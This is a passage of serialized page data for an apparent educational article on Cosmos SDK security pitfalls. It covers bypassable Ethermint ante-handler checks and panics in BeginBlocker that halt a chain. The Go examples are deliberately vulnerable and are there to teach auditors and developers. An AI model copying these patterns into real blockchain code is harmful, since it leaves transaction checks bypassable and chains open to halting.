80717],{"type":21,"tag":85,"props":80709,"children":80710},{"style":2885},[80711],{"type":26,"value":4044},{"type":21,"tag":85,"props":80713,"children":80714},{"style":120},[80715],{"type":26,"value":80716}," ok",{"type":21,"tag":85,"props":80718,"children":80719},{"style":114},[80720],{"type":26,"value":148},{"type":21,"tag":85,"props":80722,"children":80723},{"class":87,"line":3286},[80724,80729,80733,80738,80742,80747],{"type":21,"tag":85,"props":80725,"children":80726},{"style":120},[80727],{"type":26,"value":80728},"            opts",{"type":21,"tag":85,"props":80730,"children":80731},{"style":169},[80732],{"type":26,"value":76878},{"type":21,"tag":85,"props":80734,"children":80735},{"style":120},[80736],{"type":26,"value":80737}," txWithExtensions",{"type":21,"tag":85,"props":80739,"children":80740},{"style":114},[80741],{"type":26,"value":73},{"type":21,"tag":85,"props":80743,"children":80744},{"style":1021},[80745],{"type":26,"value":80746},"GetExtensionOptions",{"type":21,"tag":85,"props":80748,"children":80749},{"style":114},[80750],{"type":26,"value":2086},{"type":21,"tag":85,"props":80752,"children":80753},{"class":87,"line":3295},[80754,80758,80762,80766,80770,80774,80778,80782],{"type":21,"tag":85,"props":80755,"children":80756},{"style":2885},[80757],{"type":26,"value":59258},{"type":21,"tag":85,"props":80759,"children":80760},{"style":1021},[80761],{"type":26,"value":2918},{"type":21,"tag":85,"props":80763,"children":80764},{"style":114},[80765],{"type":26,"value":1439},{"type":21,"tag":85,"props":80767,"children":80768},{"style":120},[80769],{"type":26,"value":49017},{"type":21,"tag":85,"props":80771,"children":80772},{"style":114},[80773],{"type":26,"value":736},{"type":21,"tag":85,"props":80775,"children":80776},{"style":169},[80777],{"type":26,"value":10877},{"type":21,"tag":85,"props":80779,"children":80780},{"style":2285},[80781],{"type":26,"value":2830},{"type":21,"tag":85,"props":80783,"children":80784},{"style":114},[80785],{"type":26,"value":148},{"type":21,"tag":85,"props":80787,"children":80788},{"class":87,"line":3308},[80789,80794,80799,80803,80808,80812,80816,80820,80825,80829,80834],{"type":21,"tag":85,"props":80790,"children":80791},{"style":2885},[80792],{"type":26,"value":80793},"                switch",{"type":21,"tag":85,"props":80795,"children":80796},{"style":120},[80797],{"type":26,"value":80798}," typeURL",{"type":21,"tag":85,"props":80800,"children":80801},{"style":169},[80802],{"type":26,"value":76878},{"type":21,"tag":85,"props":80804,"children":80805},{"style":120},[80806],{"type":26,"value":80807}," opts",{"type":21,"tag":85,"props":80809,"children":80810},{"style":114},[80811],{"type":26,"value":3016},{"type":21,"tag":85,"props":80813,"children":80814},{"style":2285},[80815],{"type":26,"value":4789},{"type":21,"tag":85,"props":80817,"children":80818},{"style":114},[80819],{"type":26,"value":50804},{"type":21,"tag":85,"props":80821,"children":80822},{"style":1021},[80823],{"type":26,"value":80824},"GetTypeUrl",{"type":21,"tag":85,"props":80826,"children":80827},{"style":114},[80828],{"type":26,"value":28890},{"type":21,"tag":85,"props":80830,"children":80831},{"style":120},[80832],{"type":26,"value":80833},"typeURL",{"type":21,"tag":85,"props":80835,"children":80836},{"style":114},[80837],{"type":26,"value":148},{"type":21,"tag":85,"props":80839,"children":80840},{"class":87,"line":3333},[80841,80846,80851],{"type":21,"tag":85,"props":80842,"children":80843},{"style":2885},[80844],{"type":26,"value":80845},"                case",{"type":21,"tag":85,"props":80847,"children":80848},{"style":5026},[80849],{"type":26,"value":80850}," \"/ethermint.evm.v1.ExtensionOptionsEthereumTx\"",{"type":21,"tag":85,"props":80852,"children":80853},{"style":114},[80854],{"type":26,"value":6335},{"type":21,"tag":85,"props":80856,"children":80857},{"class":87,"line":3369},[80858],{"type":21,"tag":85,"props":80859,"children":80860},{"style":92},[80861],{"type":26,"value":80862},"                    // handle as *evmtypes.MsgEthereumTx\n",{"type":21,"tag":85,"props":80864,"children":80865},{"class":87,"line":3377},[80866],{"type":21,"tag":85,"props":80867,"children":80868},{"emptyLinePlaceholder":16},[80869],{"type":26,"value":703},{"type":21,"tag":85,"props":80871,"children":80872},{"class":87,"line":3386},[80873,80878,80882,80886,80890,80895],{"type":21,"tag":85,"props":80874,"children":80875},{"style":120},[80876],{"type":26,"value":80877},"                    anteHandler",{"type":21,"tag":85,"props":80879,"children":80880},{"style":169},[80881],{"type":26,"value":1941},{"type":21,"tag":85,"props":80883,"children":80884},{"style":120},[80885],{"type":26,"value":79103},{"type":21,"tag":85,"props":80887,"children":80888},{"style":114},[80889],{"type":26,"value":73},{"type":21,"tag":85,"props":80891,"children":80892},{"style":1021},[80893],{"type":26,"value":80894},"ChainAnteDecorators",{"type":21,"tag":85,"props":80896,"children":80897},{"style":114},[80898],{"type":26,"value":1029},{"type":21,"tag":85,"props":80900,"children":80901},{"class":87,"line":3394},[80902,80907,80911],{"type":21,"tag":85,"props":80903,"children":80904},{"style":1021},[80905],{"type":26,"value":80906},"                        NewEthSetUpContextDecorator",{"type":21,"tag":85,"props":80908,"children":80909},{"style":114},[80910],{"type":26,"value":18799},{"type":21,"tag":85,"props":80912,"children":80913},{"style":92},[80914],{"type":26,"value":79757},{"type":21,"tag":85,"props":80916,"children":80917},{"class":87,"line":3410},[80918],{"type":21,"tag":85,"props":80919,"children":80920},{"style":169},[80921],{"type":26,"value":80922},"                        ...\n",{"type":21,"tag":85,"props":80924,"children":80925},{"class":87,"line":3427},[80926,80931,80935,80940,80944],{"type":21,"tag":85,"props":80927,"children":80928},{"style":1021},[80929],{"type":26,"value":80930},"                        NewEthIncrementSenderSequenceDecorator",{"type":21,"tag":85,"props":80932,"children":80933},{"style":114},[80934],{"type":26,"value":1439},{"type":21,"tag":85,"props":80936,"children":80937},{"style":120},[80938],{"type":26,"value":80939},"ak",{"type":21,"tag":85,"props":80941,"children":80942},{"style":114},[80943],{"type":26,"value":15596},{"type":21,"tag":85,"props":80945,"children":80946},{"style":92},[80947],{"type":26,"value":80948},"// innermost AnteDecorator.\n",{"type":21,"tag":85,"props":80950,"children":80951},{"class":87,"line":3445},[80952],{"type":21,"tag":85,"props":80953,"children":80954},{"style":114},[80955],{"type":26,"value":80956},"                    )\n",{"type":21,"tag":85,"props":80958,"children":80959},{"class":87,"line":3490},[80960],{"type":21,"tag":85,"props":80961,"children":80962},{"emptyLinePlaceholder":16},[80963],{"type":26,"value":703},{"type":21,"tag":85,"props":80965,"children":80966},{"class":87,"line":3596},[80967,80972],{"type":21,"tag":85,"props":80968,"children":80969},{"style":2885},[80970],{"type":26,"value":80971},"                default",{"type":21,"tag":85,"props":80973,"children":80974},{"style":114},[80975],{"type":26,"value":6335},{"type":21,"tag":85,"props":80977,"children":80978},{"class":87,"line":23938},[80979,80984,80988,80992,80997,81001,81006],{"type":21,"tag":85,"props":80980,"children":80981},{"style":2885},[80982],{"type":26,"value":80983},"                    return",{"type":21,"tag":85,"props":80985,"children":80986},{"style":120},[80987],{"type":26,"value":26284},{"type":21,"tag":85,"props":80989,"children":80990},{"style":114},[80991],{"type":26,"value":256},{"type":21,"tag":85,"props":80993,"children":80994},{"style":120},[80995],{"type":26,"value":80996},"stacktrace",{"type":21,"tag":85,"props":80998,"children":80999},{"style":114},[81000],{"type":26,"value":73},{"type":21,"tag":85,"props":81002,"children":81003},{"style":1021},[81004],{"type":26,"value":81005},"Propagate",{"type":21,"tag":85,"props":81007,"children":81008},{"style":114},[81009],{"type":26,"value":1029},{"type":21,"tag":85,"props":81011,"children":81012},{"class":87,"line":23973},[81013,81018,81022,81026,81030,81035,81039,81044,81048,81052],{"type":21,"tag":85,"props":81014,"children":81015},{"style":120},[81016],{"type":26,"value":81017},"                        sdkerrors",{"type":21,"tag":85,"props":81019,"children":81020},{"style":114},[81021],{"type":26,"value":73},{"type":21,"tag":85,"props":81023,"children":81024},{"style":1021},[81025],{"type":26,"value":79308},{"type":21,"tag":85,"props":81027,"children":81028},{"style":114},[81029],{"type":26,"value":1439},{"type":21,"tag":85,"props":81031,"children":81032},{"style":120},[81033],{"type":26,"value":81034},"sdkerrors",{"type":21,"tag":85,"props":81036,"children":81037},{"style":114},[81038],{"type":26,"value":73},{"type":21,"tag":85,"props":81040,"children":81041},{"style":120},[81042],{"type":26,"value":81043},"ErrUnknownExtensionOptions",{"type":21,"tag":85,"props":81045,"children":81046},{"style":114},[81047],{"type":26,"value":256},{"type":21,"tag":85,"props":81049,"children":81050},{"style":120},[81051],{"type":26,"value":80833},{"type":21,"tag":85,"props":81053,"children":81054},{"style":114},[81055],{"type":26,"value":1074},{"type":21,"tag":85,"props":81057,"children":81058},{"class":87,"line":23981},[81059,81064],{"type":21,"tag":85,"props":81060,"children":81061},{"style":5026},[81062],{"type":26,"value":81063},"                        \"rejecting tx with unsupported extension option\"",{"type":21,"tag":85,"props":81065,"children":81066},{"style":114},[81067],{"type":26,"value":182},{"type":21,"tag":85,"props":81069,"children":81070},{"class":87,"line":23989},[81071],{"type":21,"tag":85,"props":81072,"children":81073},{"style":114},[81074],{"type":26,"value":80956},{"type":21,"tag":85,"props":81076,"children":81077},{"class":87,"line":23998},[81078],{"type":21,"tag":85,"props":81079,"children":81080},{"style":114},[81081],{"type":26,"value":71531},{"type":21,"tag":85,"props":81083,"children":81084},{"class":87,"line":24040},[81085],{"type":21,"tag":85,"props":81086,"children":81087},{"emptyLinePlaceholder":16},[81088],{"type":26,"value":703},{"type":21,"tag":85,"props":81090,"children":81091},{"class":87,"line":24073},[81092,81096,81100,81104,81108,81112,81116,81120,81124],{"type":21,"tag":85,"props":81093,"children":81094},{"style":2885},[81095],{"type":26,"value":61186},{"type":21,"tag":85,"props":81097,"children":81098},{"style":1021},[81099],{"type":26,"value":80585},{"type":21,"tag":85,"props":81101,"children":81102},{"style":114},[81103],{"type":26,"value":1439},{"type":21,"tag":85,"props":81105,"children":81106},{"style":120},[81107],{"type":26,"value":20708},{"type":21,"tag":85,"props":81109,"children":81110},{"style":114},[81111],{"type":26,"value":256},{"type":21,"tag":85,"props":81113,"children":81114},{"style":120},[81115],{"type":26,"value":79643},{"type":21,"tag":85,"props":81117,"children":81118},{"style":114},[81119],{"type":26,"value":256},{"type":21,"tag":85,"props":81121,"children":81122},{"style":120},[81123],{"type":26,"value":80523},{"type":21,"tag":85,"props":81125,"children":81126},{"style":114},[81127],{"type":26,"value":2485},{"type":21,"tag":85,"props":81129,"children":81130},{"class":87,"line":24081},[81131],{"type":21,"tag":85,"props":81132,"children":81133},{"style":114},[81134],{"type":26,"value":59342},{"type":21,"tag":85,"props":81136,"children":81137},{"class":87,"line":24089},[81138],{"type":21,"tag":85,"props":81139,"children":81140},{"style":114},[81141],{"type":26,"value":4118},{"type":21,"tag":85,"props":81143,"children":81144},{"class":87,"line":24098},[81145],{"type":21,"tag":85,"props":81146,"children":81147},{"emptyLinePlaceholder":16},[81148],{"type":26,"value":703},{"type":21,"tag":85,"props":81150,"children":81151},{"class":87,"line":24174},[81152],{"type":21,"tag":85,"props":81153,"children":81154},{"style":92},[81155],{"type":26,"value":81156},"        // SHOULD CHECK TX IS NOT MsgEthereumTx HERE\n",{"type":21,"tag":85,"props":81158,"children":81159},{"class":87,"line":24207},[81160],{"type":21,"tag":85,"props":81161,"children":81162},{"emptyLinePlaceholder":16},[81163],{"type":26,"value":703},{"type":21,"tag":85,"props":81165,"children":81166},{"class":87,"line":24215},[81167,81172,81176,81180,81184],{"type":21,"tag":85,"props":81168,"children":81169},{"style":2885},[81170],{"type":26,"value":81171},"        switch",{"type":21,"tag":85,"props":81173,"children":81174},{"style":120},[81175],{"type":26,"value":68487},{"type":21,"tag":85,"props":81177,"children":81178},{"style":114},[81179],{"type":26,"value":79242},{"type":21,"tag":85,"props":81181,"children":81182},{"style":102},[81183],{"type":26,"value":33202},{"type":21,"tag":85,"props":81185,"children":81186},{"style":114},[81187],{"type":26,"value":15222},{"type":21,"tag":85,"props":81189,"children":81190},{"class":87,"line":24223},[81191,81196,81200,81204,81208],{"type":21,"tag":85,"props":81192,"children":81193},{"style":2885},[81194],{"type":26,"value":81195},"        case",{"type":21,"tag":85,"props":81197,"children":81198},{"style":108},[81199],{"type":26,"value":79103},{"type":21,"tag":85,"props":81201,"children":81202},{"style":114},[81203],{"type":26,"value":73},{"type":21,"tag":85,"props":81205,"children":81206},{"style":108},[81207],{"type":26,"value":79136},{"type":21,"tag":85,"props":81209,"children":81210},{"style":114},[81211],{"type":26,"value":6335},{"type":21,"tag":85,"props":81213,"children":81214},{"class":87,"line":24260},[81215,81220,81224,81228,81232,81236],{"type":21,"tag":85,"props":81216,"children":81217},{"style":120},[81218],{"type":26,"value":81219},"            anteHandler",{"type":21,"tag":85,"props":81221,"children":81222},{"style":169},[81223],{"type":26,"value":1941},{"type":21,"tag":85,"props":81225,"children":81226},{"style":120},[81227],{"type":26,"value":79103},{"type":21,"tag":85,"props":81229,"children":81230},{"style":114},[81231],{"type":26,"value":73},{"type":21,"tag":85,"props":81233,"children":81234},{"style":1021},[81235],{"type":26,"value":80894},{"type":21,"tag":85,"props":81237,"children":81238},{"style":114},[81239],{"type":26,"value":1029},{"type":21,"tag":85,"props":81241,"children":81242},{"class":87,"line":24273},[81243,81248,81252,81257,81261],{"type":21,"tag":85,"props":81244,"children":81245},{"style":120},[81246],{"type":26,"value":81247},"                authante",{"type":21,"tag":85,"props":81249,"children":81250},{"style":114},[81251],{"type":26,"value":73},{"type":21,"tag":85,"props":81253,"children":81254},{"style":1021},[81255],{"type":26,"value":81256},"NewSetUpContextDecorator",{"type":21,"tag":85,"props":81258,"children":81259},{"style":114},[81260],{"type":26,"value":18799},{"type":21,"tag":85,"props":81262,"children":81263},{"style":92},[81264],{"type":26,"value":79757},{"type":21,"tag":85,"props":81266,"children":81267},{"class":87,"line":24286},[81268],{"type":21,"tag":85,"props":81269,"children":81270},{"style":169},[81271],{"type":26,"value":81272},"                 ...\n",{"type":21,"tag":85,"props":81274,"children":81275},{"class":87,"line":24299},[81276,81280,81284,81289,81293,81297,81301],{"type":21,"tag":85,"props":81277,"children":81278},{"style":120},[81279],{"type":26,"value":81247},{"type":21,"tag":85,"props":81281,"children":81282},{"style":114},[81283],{"type":26,"value":73},{"type":21,"tag":85,"props":81285,"children":81286},{"style":1021},[81287],{"type":26,"value":81288},"NewIncrementSequenceDecorator",{"type":21,"tag":85,"props":81290,"children":81291},{"style":114},[81292],{"type":26,"value":1439},{"type":21,"tag":85,"props":81294,"children":81295},{"style":120},[81296],{"type":26,"value":80939},{"type":21,"tag":85,"props":81298,"children":81299},{"style":114},[81300],{"type":26,"value":15596},{"type":21,"tag":85,"props":81302,"children":81303},{"style":92},[81304],{"type":26,"value":81305},"// innermost AnteDecorator\n",{"type":21,"tag":85,"props":81307,"children":81308},{"class":87,"line":24353},[81309],{"type":21,"tag":85,"props":81310,"children":81311},{"style":114},[81312],{"type":26,"value":77977},{"type":21,"tag":85,"props":81314,"children":81315},{"class":87,"line":24362},[81316,81321],{"type":21,"tag":85,"props":81317,"children":81318},{"style":2885},[81319],{"type":26,"value":81320},"        default",{"type":21,"tag":85,"props":81322,"children":81323},{"style":114},[81324],{"type":26,"value":6335},{"type":21,"tag":85,"props":81326,"children":81327},{"class":87,"line":32726},[81328,81332,81336,81340,81344,81348,81352],{"type":21,"tag":85,"props":81329,"children":81330},{"style":2885},[81331],{"type":26,"value":79538},{"type":21,"tag":85,"props":81333,"children":81334},{"style":120},[81335],{"type":26,"value":26284},{"type":21,"tag":85,"props":81337,"children":81338},{"style":114},[81339],{"type":26,"value":256},{"type":21,"tag":85,"props":81341,"children":81342},{"style":120},[81343],{"type":26,"value":80996},{"type":21,"tag":85,"props":81345,"children":81346},{"style":114},[81347],{"type":26,"value":73},{"type":21,"tag":85,"props":81349,"children":81350},{"style":1021},[81351],{"type":26,"value":81005},{"type":21,"tag":85,"props":81353,"children":81354},{"style":114},[81355],{"type":26,"value":1029},{"type":21,"tag":85,"props":81357,"children":81358},{"class":87,"line":32747},[81359,81364,81368,81373,81377,81381,81385,81390,81394,81399,81403,81407],{"type":21,"tag":85,"props":81360,"children":81361},{"style":120},[81362],{"type":26,"value":81363},"                sdkerrors",{"type":21,"tag":85,"props":81365,"children":81366},{"style":114},[81367],{"type":26,"value":73},{"type":21,"tag":85,"props":81369,"children":81370},{"style":1021},[81371],{"type":26,"value":81372},"Wrapf",{"type":21,"tag":85,"props":81374,"children":81375},{"style":114},[81376],{"type":26,"value":1439},{"type":21,"tag":85,"props":81378,"children":81379},{"style":120},[81380],{"type":26,"value":81034},{"type":21,"tag":85,"props":81382,"children":81383},{"style":114},[81384],{"type":26,"value":73},{"type":21,"tag":85,"props":81386,"children":81387},{"style":120},[81388],{"type":26,"value":81389},"ErrUnknownRequest",{"type":21,"tag":85,"props":81391,"children":81392},{"style":114},[81393],{"type":26,"value":256},{"type":21,"tag":85,"props":81395,"children":81396},{"style":5026},[81397],{"type":26,"value":81398},"\"invalid transaction type: %T\"",{"type":21,"tag":85,"props":81400,"children":81401},{"style":114},[81402],{"type":26,"value":256},{"type":21,"tag":85,"props":81404,"children":81405},{"style":120},[81406],{"type":26,"value":79643},{"type":21,"tag":85,"props":81408,"children":81409},{"style":114},[81410],{"type":26,"value":1074},{"type":21,"tag":85,"props":81412,"children":81414},{"class":87,"line":81413},53,[81415,81420],{"type":21,"tag":85,"props":81416,"children":81417},{"style":5026},[81418],{"type":26,"value":81419},"                \"transaction is not an SDK tx\"",{"type":21,"tag":85,"props":81421,"children":81422},{"style":114},[81423],{"type":26,"value":182},{"type":21,"tag":85,"props":81425,"children":81427},{"class":87,"line":81426},54,[81428],{"type":21,"tag":85,"props":81429,"children":81430},{"style":114},[81431],{"type":26,"value":77977},{"type":21,"tag":85,"props":81433,"children":81435},{"class":87,"line":81434},55,[81436],{"type":21,"tag":85,"props":81437,"children":81438},{"style":114},[81439],{"type":26,"value":4118},{"type":21,"tag":85,"props":81441,"children":81443},{"class":87,"line":81442},56,[81444],{"type":21,"tag":85,"props":81445,"children":81446},{"emptyLinePlaceholder":16},[81447],{"type":26,"value":703},{"type":21,"tag":85,"props":81449,"children":81451},{"class":87,"line":81450},57,[81452,81456,81460,81464,81468,81472,81476,81480,81484],{"type":21,"tag":85,"props":81453,"children":81454},{"style":2885},[81455],{"type":26,"value":16164},{"type":21,"tag":85,"props":81457,"children":81458},{"style":1021},[81459],{"type":26,"value":80585},{"type":21,"tag":85,"props":81461,"children":81462},{"style":114},[81463],{"type":26,"value":1439},{"type":21,"tag":85,"props":81465,"children":81466},{"style":120},[81467],{"type":26,"value":20708},{"type":21,"tag":85,"props":81469,"children":81470},{"style":114},[81471],{"type":26,"value":256},{"type":21,"tag":85,"props":81473,"children":81474},{"style":120},[81475],{"type":26,"value":79643},{"type":21,"tag":85,"props":81477,"children":81478},{"style":114},[81479],{"type":26,"value":256},{"type":21,"tag":85,"props":81481,"children":81482},{"style":120},[81483],{"type":26,"value":80523},{"type":21,"tag":85,"props":81485,"children":81486},{"style":114},[81487],{"type":26,"value":2485},{"type":21,"tag":85,"props":81489,"children":81491},{"class":87,"line":81490},58,[81492],{"type":21,"tag":85,"props":81493,"children":81494},{"style":114},[81495],{"type":26,"value":507},{"type":21,"tag":85,"props":81497,"children":81499},{"class":87,"line":81498},59,[81500],{"type":21,"tag":85,"props":81501,"children":81502},{"style":114},[81503],{"type":26,"value":2671},{"type":21,"tag":22,"props":81505,"children":81506},{},[81507,81509,81514,81516,81523,81524,81531],{"type":26,"value":81508},"Additional examples of incorrect ",{"type":21,"tag":66,"props":81510,"children":81512},{"className":81511},[],[81513],{"type":26,"value":78932},{"type":26,"value":81515}," usage include ",{"type":21,"tag":335,"props":81517,"children":81520},{"href":81518,"rel":81519},"https://jumpcrypto.com/writing/bypassing-ethermint-ante-handlers",[339],[81521],{"type":26,"value":81522},"yet more bypassable checks and loss of funds",{"type":26,"value":11408},{"type":21,"tag":335,"props":81525,"children":81528},{"href":81526,"rel":81527},"https://github.com/cosmos/ibc-go/issues/853",[339],[81529],{"type":26,"value":81530},"incorrect data passing between blockchains",{"type":26,"value":73},{"type":21,"tag":54,"props":81533,"children":81535},{"id":81534},"errors-panics-i-can-handle-it",[81536],{"type":26,"value":81537},"Errors? Panics? I can handle it",{"type":21,"tag":22,"props":81539,"children":81540},{},[81541],{"type":26,"value":81542},"Smart contract developers are used to not properly handling errors. This is acceptable since most underlying blockchains revert all state changes when execution fails.",{"type":21,"tag":22,"props":81544,"children":81545},{},[81546],{"type":26,"value":81547},"Cosmos is designed to provide a similar experience. Whenever some message handler returns an error, changes to the persistent state are dropped. Panics are handled similarly, where a recovery handler is wrapped around the message execution to convert panics into errors for a downstream process.",{"type":21,"tag":22,"props":81549,"children":81550},{},[81551,81553,81559,81561,81566],{"type":26,"value":81552},"This design is pretty neat and allows developers to write code in a rather lazy way. For instance, the following code works perfectly fine. If ",{"type":21,"tag":66,"props":81554,"children":81556},{"className":81555},[],[81557],{"type":26,"value":81558},"k.keeper.TotalReward()",{"type":26,"value":81560}," returns zero, the ",{"type":21,"tag":66,"props":81562,"children":81564},{"className":81563},[],[81565],{"type":26,"value":58403},{"type":26,"value":81567}," execution will simply rollback as if nothing has happened.",{"type":21,"tag":75,"props":81569,"children":81571},{"code":81570,"language":76626,"meta":7,"className":76627,"style":7},"func (k msgServer) AllocateReward(\n    goCtx context.Context,\n    msg *types.MsgAllocateReward)\n(*types.MsgAllocatRewardResponse, error) {\n\n    RewardPerShare := k.keeper.Shares() /  k.keeper.TotalReward()\n    k.keeper.DistributeReward(RewardPerShare)\n\n    return &types.MsgAllocateRewardResponse, nil\n}\n",[81572],{"type":21,"tag":66,"props":81573,"children":81574},{"__ignoreMap":7},[81575,81608,81631,81659,81695,81702,81771,81809,81816,81848],{"type":21,"tag":85,"props":81576,"children":81577},{"class":87,"line":88},[81578,81582,81586,81591,81595,81599,81604],{"type":21,"tag":85,"props":81579,"children":81580},{"style":102},[81581],{"type":26,"value":76762},{"type":21,"tag":85,"props":81583,"children":81584},{"style":114},[81585],{"type":26,"value":717},{"type":21,"tag":85,"props":81587,"children":81588},{"style":120},[81589],{"type":26,"value":81590},"k ",{"type":21,"tag":85,"props":81592,"children":81593},{"style":108},[81594],{"type":26,"value":76776},{"type":21,"tag":85,"props":81596,"children":81597},{"style":114},[81598],{"type":26,"value":736},{"type":21,"tag":85,"props":81600,"children":81601},{"style":1021},[81602],{"type":26,"value":81603},"AllocateReward",{"type":21,"tag":85,"props":81605,"children":81606},{"style":114},[81607],{"type":26,"value":1029},{"type":21,"tag":85,"props":81609,"children":81610},{"class":87,"line":98},[81611,81615,81619,81623,81627],{"type":21,"tag":85,"props":81612,"children":81613},{"style":120},[81614],{"type":26,"value":76797},{"type":21,"tag":85,"props":81616,"children":81617},{"style":108},[81618],{"type":26,"value":76802},{"type":21,"tag":85,"props":81620,"children":81621},{"style":114},[81622],{"type":26,"value":73},{"type":21,"tag":85,"props":81624,"children":81625},{"style":108},[81626],{"type":26,"value":76811},{"type":21,"tag":85,"props":81628,"children":81629},{"style":114},[81630],{"type":26,"value":182},{"type":21,"tag":85,"props":81632,"children":81633},{"class":87,"line":151},[81634,81638,81642,81646,81650,81655],{"type":21,"tag":85,"props":81635,"children":81636},{"style":120},[81637],{"type":26,"value":76823},{"type":21,"tag":85,"props":81639,"children":81640},{"style":169},[81641],{"type":26,"value":10231},{"type":21,"tag":85,"props":81643,"children":81644},{"style":108},[81645],{"type":26,"value":56},{"type":21,"tag":85,"props":81647,"children":81648},{"style":114},[81649],{"type":26,"value":73},{"type":21,"tag":85,"props":81651,"children":81652},{"style":108},[81653],{"type":26,"value":81654},"MsgAllocateReward",{"type":21,"tag":85,"props":81656,"children":81657},{"style":114},[81658],{"type":26,"value":2485},{"type":21,"tag":85,"props":81660,"children":81661},{"class":87,"line":160},[81662,81666,81670,81674,81678,81683,81687,81691],{"type":21,"tag":85,"props":81663,"children":81664},{"style":114},[81665],{"type":26,"value":1439},{"type":21,"tag":85,"props":81667,"children":81668},{"style":169},[81669],{"type":26,"value":3052},{"type":21,"tag":85,"props":81671,"children":81672},{"style":108},[81673],{"type":26,"value":56},{"type":21,"tag":85,"props":81675,"children":81676},{"style":114},[81677],{"type":26,"value":73},{"type":21,"tag":85,"props":81679,"children":81680},{"style":108},[81681],{"type":26,"value":81682},"MsgAllocatRewardResponse",{"type":21,"tag":85,"props":81684,"children":81685},{"style":114},[81686],{"type":26,"value":256},{"type":21,"tag":85,"props":81688,"children":81689},{"style":108},[81690],{"type":26,"value":15282},{"type":21,"tag":85,"props":81692,"children":81693},{"style":114},[81694],{"type":26,"value":15222},{"type":21,"tag":85,"props":81696,"children":81697},{"class":87,"line":185},[81698],{"type":21,"tag":85,"props":81699,"children":81700},{"emptyLinePlaceholder":16},[81701],{"type":26,"value":703},{"type":21,"tag":85,"props":81703,"children":81704},{"class":87,"line":501},[81705,81710,81714,81719,81723,81728,81732,81737,81741,81745,81750,81754,81758,81762,81767],{"type":21,"tag":85,"props":81706,"children":81707},{"style":120},[81708],{"type":26,"value":81709},"    RewardPerShare",{"type":21,"tag":85,"props":81711,"children":81712},{"style":169},[81713],{"type":26,"value":76878},{"type":21,"tag":85,"props":81715,"children":81716},{"style":120},[81717],{"type":26,"value":81718}," k",{"type":21,"tag":85,"props":81720,"children":81721},{"style":114},[81722],{"type":26,"value":73},{"type":21,"tag":85,"props":81724,"children":81725},{"style":120},[81726],{"type":26,"value":81727},"keeper",{"type":21,"tag":85,"props":81729,"children":81730},{"style":114},[81731],{"type":26,"value":73},{"type":21,"tag":85,"props":81733,"children":81734},{"style":1021},[81735],{"type":26,"value":81736},"Shares",{"type":21,"tag":85,"props":81738,"children":81739},{"style":114},[81740],{"type":26,"value":14461},{"type":21,"tag":85,"props":81742,"children":81743},{"style":169},[81744],{"type":26,"value":5349},{"type":21,"tag":85,"props":81746,"children":81747},{"style":120},[81748],{"type":26,"value":81749},"  k",{"type":21,"tag":85,"props":81751,"children":81752},{"style":114},[81753],{"type":26,"value":73},{"type":21,"tag":85,"props":81755,"children":81756},{"style":120},[81757],{"type":26,"value":81727},{"type":21,"tag":85,"props":81759,"children":81760},{"style":114},[81761],{"type":26,"value":73},{"type":21,"tag":85,"props":81763,"children":81764},{"style":1021},[81765],{"type":26,"value":81766},"TotalReward",{"type":21,"tag":85,"props":81768,"children":81769},{"style":114},[81770],{"type":26,"value":2086},{"type":21,"tag":85,"props":81772,"children":81773},{"class":87,"line":697},[81774,81779,81783,81787,81791,81796,81800,81805],{"type":21,"tag":85,"props":81775,"children":81776},{"style":120},[81777],{"type":26,"value":81778},"    k",{"type":21,"tag":85,"props":81780,"children":81781},{"style":114},[81782],{"type":26,"value":73},{"type":21,"tag":85,"props":81784,"children":81785},{"style":120},[81786],{"type":26,"value":81727},{"type":21,"tag":85,"props":81788,"children":81789},{"style":114},[81790],{"type":26,"value":73},{"type":21,"tag":85,"props":81792,"children":81793},{"style":1021},[81794],{"type":26,"value":81795},"DistributeReward",{"type":21,"tag":85,"props":81797,"children":81798},{"style":114},[81799],{"type":26,"value":1439},{"type":21,"tag":85,"props":81801,"children":81802},{"style":120},[81803],{"type":26,"value":81804},"RewardPerShare",{"type":21,"tag":85,"props":81806,"children":81807},{"style":114},[81808],{"type":26,"value":2485},{"type":21,"tag":85,"props":81810,"children":81811},{"class":87,"line":706},[81812],{"type":21,"tag":85,"props":81813,"children":81814},{"emptyLinePlaceholder":16},[81815],{"type":26,"value":703},{"type":21,"tag":85,"props":81817,"children":81818},{"class":87,"line":1100},[81819,81823,81827,81831,81835,81840,81844],{"type":21,"tag":85,"props":81820,"children":81821},{"style":2885},[81822],{"type":26,"value":17411},{"type":21,"tag":85,"props":81824,"children":81825},{"style":169},[81826],{"type":26,"value":1487},{"type":21,"tag":85,"props":81828,"children":81829},{"style":120},[81830],{"type":26,"value":56},{"type":21,"tag":85,"props":81832,"children":81833},{"style":114},[81834],{"type":26,"value":73},{"type":21,"tag":85,"props":81836,"children":81837},{"style":120},[81838],{"type":26,"value":81839},"MsgAllocateRewardResponse",{"type":21,"tag":85,"props":81841,"children":81842},{"style":114},[81843],{"type":26,"value":256},{"type":21,"tag":85,"props":81845,"children":81846},{"style":102},[81847],{"type":26,"value":77104},{"type":21,"tag":85,"props":81849,"children":81850},{"class":87,"line":1339},[81851],{"type":21,"tag":85,"props":81852,"children":81853},{"style":114},[81854],{"type":26,"value":2671},{"type":21,"tag":22,"props":81856,"children":81857},{},[81858,81860,81866,81867,81873,81874,81880,81882,81887],{"type":26,"value":81859},"However, the same assumption does not always hold. Certain parts of Cosmos, such as ",{"type":21,"tag":66,"props":81861,"children":81863},{"className":81862},[],[81864],{"type":26,"value":81865},"PreBlocker",{"type":26,"value":256},{"type":21,"tag":66,"props":81868,"children":81870},{"className":81869},[],[81871],{"type":26,"value":81872},"BeginBlocker",{"type":26,"value":820},{"type":21,"tag":66,"props":81875,"children":81877},{"className":81876},[],[81878],{"type":26,"value":81879},"EndBlocker",{"type":26,"value":81881},", are not protected by the error handling mechanism. So, if we move the reward distribution logic into ",{"type":21,"tag":66,"props":81883,"children":81885},{"className":81884},[],[81886],{"type":26,"value":81872},{"type":26,"value":81888}," to automatically distribute rewards at the start of each block, panics raised by division by 0 will halt the chain.",{"type":21,"tag":75,"props":81890,"children":81892},{"code":81891,"language":76626,"meta":7,"className":76627,"style":7},"func BeginBlocker(ctx context.Context, keeper keeper.Keeper) error {\n\n    RewardPerShare := keeper.Shares() /  keeper.TotalReward()\n    keeper.DistributeReward(RewardPerShare)\n\n return 